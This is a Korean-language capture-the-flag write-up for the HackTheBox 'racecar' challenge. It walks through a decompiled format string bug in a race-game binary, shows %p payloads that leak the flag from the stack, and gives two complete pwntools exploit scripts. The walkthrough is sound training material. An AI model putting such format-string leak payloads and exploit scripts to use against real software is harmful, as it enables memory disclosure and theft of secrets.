Home [HackTheBox] racecar
Post
Cancel

문제 풀이

파일은 바이너리만 제공해주고, 보호기법은 모두 적용되어 있네요.

1
2
3
4
5
6
7
8
9
ls
racecar
❯ checksec racecar
[*] '/HTB/pwn_racecar/racecar'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

먼저 IDA로 디컴파일을 해보고 오디팅을 했습니다.

코드를 보다가 car_menu 함수에서 취약한 부분을 찾았습니다.

car_menu 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int car_menu()
{
  unsigned int v0; // eax
  size_t i; // eax
  unsigned int v2; // edx
  int result; // eax
  int v4; // [esp+0h] [ebp-58h]
  int v5; // [esp+4h] [ebp-54h]
  unsigned int v6; // [esp+8h] [ebp-50h]
  int car_num; // [esp+Ch] [ebp-4Ch]
  int race_num; // [esp+10h] [ebp-48h]
  void *buf; // [esp+18h] [ebp-40h]
  FILE *flag; // [esp+1Ch] [ebp-3Ch]
  char v11[44]; // [esp+20h] [ebp-38h] BYREF
  unsigned int v12; // [esp+4Ch] [ebp-Ch]

  v12 = __readgsdword(0x14u);
  do
  {
    printf(aSelectCar1);
    car_num = read_int();                       // car 선택
    if ( car_num != 2 && car_num != 1 )
      printf("\n%s[-] Invalid choice!%s\n", "\x1B[1;31m", "\x1B[1;36m");
  }
  while ( car_num != 2 && car_num != 1 );
  race_num = race_type();                       // race_type 내부에서 race 선택
  v0 = time(0);
  srand(v0);
  if ( car_num == 1 && race_num == 2 || car_num == 2 && race_num == 2 )// 경기 시작
  {
    v4 = rand() % 10;                           // 0 ~ 9
    v5 = rand() % 100;                          // 0 ~ 99
  }
  else if ( car_num == 1 && race_num == 1 || car_num == 2 && race_num == 1 )
  {
    v4 = rand() % 100;                          // 0 ~ 99
    v5 = rand() % 10;                           // 0 ~ 9
  }
  else
  {
    v4 = rand() % 100;                          // 0 ~ 99
    v5 = rand() % 100;                          // 0 ~ 99
  }                                             // 경기 끝
  v6 = 0;
  for ( i = strlen("\n[*] Waiting for the race to finish..."); ; i = strlen("\n[*] Waiting for the race to finish...") )
  {
    v2 = i;
    result = v6;
    if ( v2 <= v6 )
      break;
    putchar(aWaitingForTheR[v6]);
    if ( aWaitingForTheR[v6] == '.' )
      sleep(0);
    ++v6;
  }
  if ( car_num == 1 && (result = v4, v4 < v5) || car_num == 2 && (result = v4, v4 > v5) )// 
                                                // car num 1번(v4%10, v5%100)
                                                // car num 2번(v4%100, v4%10)
  {                                             // 위 if 문을 통과해야 아래 72 Line에 있는 FSB를 발생시킬 수 있습니다.
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
    coins += 100;
    printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
    buf = malloc(0x171u);
    flag = fopen("flag.txt", "r");              // flag.txt 파일을 제공 안해주기 때문에 만들어야합니다.
    if ( !flag )
    {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
      exit(105);
    }
    fgets(v11, 44, flag);                       // 44개 문자를 복사하기 때문에 플래그는 44글자인걸 알 수 있습니다.
    read(0, buf, 0x170u);
    puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
    return printf((const char *)buf);           // Format String Bug occurs
  }
  else if ( car_num == 1 && (result = v4, v4 > v5) || car_num == 2 && (result = v4, v4 < v5) )
  {
    printf("%s\n\n[-] You lost the race and all your coins!\n", "\x1B[1;31m");
    coins = 0;
    return printf("[+] Current coins: [%d]%s\n", 0, "\x1B[1;36m");
  }
  return result;
}

제가 IDA로 분석하면서 이해하기 쉽게 주석들을 적어두었기 때문에 한번 쭉 읽어보시길 권장드립니다.

먼저 FSB가 발생하는 코드 부분을 분석해보겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  if ( car_num == 1 && (result = v4, v4 < v5) || car_num == 2 && (result = v4, v4 > v5) )// 
                                                // car num 1번(v4%10, v5%100)
                                                // car num 2번(v4%100, v4%10)
  {                                             // 위 if 문을 통과해야 아래 72 Line에 있는 FSB를 발생시킬 수 있습니다.
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n", "\x1B[1;32m");
    coins += 100;
    printf("[+] Current coins: [%d]%s\n", coins, "\x1B[1;36m");
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s", "\x1B[0m");
    buf = malloc(0x171u);
    flag = fopen("flag.txt", "r");              // flag.txt 파일을 제공 안해주기 때문에 만들어야합니다.
    if ( !flag )
    {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
      exit(105);
    }
    fgets(v11, 44, flag);                       // 44개 문자를 복사하기 때문에 플래그는 44글자인걸 알 수 있습니다.
    read(0, buf, 0x170u);
    puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
    return printf((const char *)buf);           // Format String Bug occurs
  }

플래그는 fopen으로 스택에 넣어주기 때문에 FSB로 출력해주는 시나리오를 생각할 수 있습니다.

if문 통과

if 문을 통과해야 return printf((const cahr *)buf); 이 코드를 실행시켜서 FSB를 발생시켜 플래그를 읽을 수 있기 때문에 if문을 통과하는 조건문을 분석해보겠습니다.

1
2
3
 if ( car_num == 1 && (result = v4, v4 < v5) || car_num == 2 && (result = v4, v4 > v5) )// 
                                                // car num 1번(v4%10, v5%100)
                                                // car num 2번(v4%100, v4%10)

car를 1번 선택하면 v4가 v5보다 작아야하고, 2번을 선택하면 v5가 v4보다 작아야합니다. 코드 위쪽을 보면 v4, v5 값을 설정하는 코드를 볼 수 있습니다.

1
2
3
4
5
6
7
8
9
10
if ( car_num == 1 && race_num == 2 || car_num == 2 && race_num == 2 )// 경기 시작
  {
    v4 = rand() % 10;                           // 0 ~ 9
    v5 = rand() % 100;                          // 0 ~ 99
  }
else if ( car_num == 1 && race_num == 1 || car_num == 2 && race_num == 1 )
  {
    v4 = rand() % 100;                          // 0 ~ 99
    v5 = rand() % 10;                           // 0 ~ 9
  }

car를 1번 선택하고 race를 2번 선택하면 v4 < v5 가 만족되기 때문에 car = 1, race = 2 를 선택하겠습니다.

FSB

1
2
3
4
5
6
7
8
9
10
11
12
    buf = malloc(0x171u);
    flag = fopen("flag.txt", "r");              // flag.txt 파일을 제공 안해주기 때문에 만들어야합니다.
    if ( !flag )
    {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n", "\x1B[1;31m");
      exit(105);
    }
    fgets(v11, 44, flag);                       // 44개 문자를 복사하기 때문에 플래그는 44글자인걸 알 수 있습니다.
    read(0, buf, 0x170u);
    puts("\n\x1B[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1B[0m");
    return printf((const char *)buf);           // Format String Bug occurs
  }


flag.txt 를 읽어오고 그 파일을 v11 변수에 읽으면서 플래그를 스택에 넣어놓습니다. 그리고 buf에 입력받은 내용을 그대로 printf 함수로 출력해주면서 FSB가 발생합니다.
FSB로 스택에 있는 플래그를 출력할 수 있는지 확인해보기 위해 flag.txt를 만들고 %p를 입력해봤습니다.

1
2
cat flag.txt
ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ ./racecar

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
      ______                                       |xxx|
     /|_||_\`.__                                   | F |
    (   _    _ _\                                  |xxx|
*** =`-(_)--(_)-'                                  | I |
                                                   |xxx|
                                                   | N |
                                                   |xxx|
                                                   | I |
                                                   |xxx|
             _-_-  _/\______\__                    | S |
           _-_-__ / ,-. -|-  ,-.`-.                |xxx|
            _-_- `( o )----( o )-'                 | H |
                   `-'      `-'                    |xxx|
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Insert your data:

Name:
Nickname:

[+] Welcome []!

[*] Your name is [] but everybody calls you.. []!
[*] Current coins: [69]

1. Car info
2. Car selection
> 2

Select car:
1. 🚗
2. 🏎️
> 1

Select race:
1. Highway battle
2. Circuit
> 2

[*] Waiting for the race to finish...

[+] You won the race!! You get 100 coins!
[+] Current coins: [169]

[!] Do you have anything to say to the press after your big victory?
> %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
0x57eb9200.0x170.0x5659cd85.0x4.0x11.0x26.0x1.0x2.0x5659d96c.0x57eb9200.0x57eb9380.0x44434241.


12번째부터 flag.txt의 첫 4글자가 hex 값으로 출력이 됩니다. 그러면 플래그가 총 44글자고 %p 하나에 4글자가 출력되니 12번째 %p부터 23번째 %p까지 플래그가 출력될 것 입니다.

%p%p%p%p%p%p%p%p%p%p%p.%p%p%p%p%p%p%p%p%p%p%p 이렇게 입력하면 . 뒤부터 hex값으로 된 flag.txt의 내용이 출력되어서 플래그 값을 읽을 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Name:
Nickname:

[+] Welcome []!

[*] Your name is [] but everybody calls you.. []!
[*] Current coins: [69]

1. Car info
2. Car selection
> 2


Select car:
1. 🚗
2. 🏎️
> 1


Select race:
1. Highway battle
2. Circuit
> 2

[*] Waiting for the race to finish...

[+] You won the race!! You get 100 coins!
[+] Current coins: [169]

[!] Do you have anything to say to the press after your big victory?
> %p%p%p%p%p%p%p%p%p%p%p.%p%p%p%p%p%p%p%p%p%p%p

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
0x5780d1c00x1700x565b7d850x90x180x260x10x20x565b896c0x5780d1c00x5780d340.0x7b4254480x5f7968770x5f6431640x34735f310x745f33760x665f33680x5f67346c0x745f6e300x355f33680x6b6334740x7d213f

출력된 0x7b4254480x5f7968770x5f6431640x34735f310x745f33760x665f33680x5f67346c0x745f6e300x355f33680x6b6334740x7d213f 값에서 0x를 제거하고 빅엔디언으로 바꾼뒤 ASCII 문자로 변경해보면 아래와 같습니다.

플래그가 출력됐습니다. 4바이트씩 잘라서 앞뒤만 변경해주면 제대로 된 플래그가 나올 것입니다.

최종 익스플로잇 코드는 아래와 같습니다.

익스플로잇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import re

p = process('./racecar')
#p = remote('159.65.20.166', 31441)

def hex_to_char(s):
    return ''.join(''.join(chr(int(c[i:i+2], 16)) for i in reversed(range(0, len(c), 2))) for c in s.split('0x')[1:])

p.sendlineafter(b'Name:', b'')
p.sendlineafter(b'Nickname:', b'')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'2')

p.sendlineafter(b'> ', b'%p%p%p%p%p%p%p%p%p%p%p.%p%p%p%p%p%p%p%p%p%p%p')

p.recvline()
p.recvline()
p.recvuntil(b'.')
flag = str(p.recvuntil(b'\n')[:-1])[2:-1]
flag = hex_to_char(flag)
print(flag)

다른 익스 코드

문제를 다 풀고 해당 문제의 블로그 글들을 찾아봤는데 pwntools의 p32() 함수를 사용하면 더 쉽게 플래그 복호화가 가능했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

p = process('./racecar')

def convert_flag(flag):
    decode = []
    for element in flag.split('0x')[1:]:
        decode.append(p32(int('0x' + element, 16)))

    return b''.join(decode).decode().rstrip('\x00')

p.sendlineafter(b'Name:', b'')
p.sendlineafter(b'Nickname:', b'')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'2')

p.sendlineafter(b'> ', b'%p%p%p%p%p%p%p%p%p%p%p.%p%p%p%p%p%p%p%p%p%p%p')

p.recvline()
p.recvline()
p.recvuntil(b'.')
flag = str(p.recvuntil(b'\n')[:-1])[2:-1]
flag = convert_flag(flag)
print(flag)
This post is licensed under GNU AGPL by the author.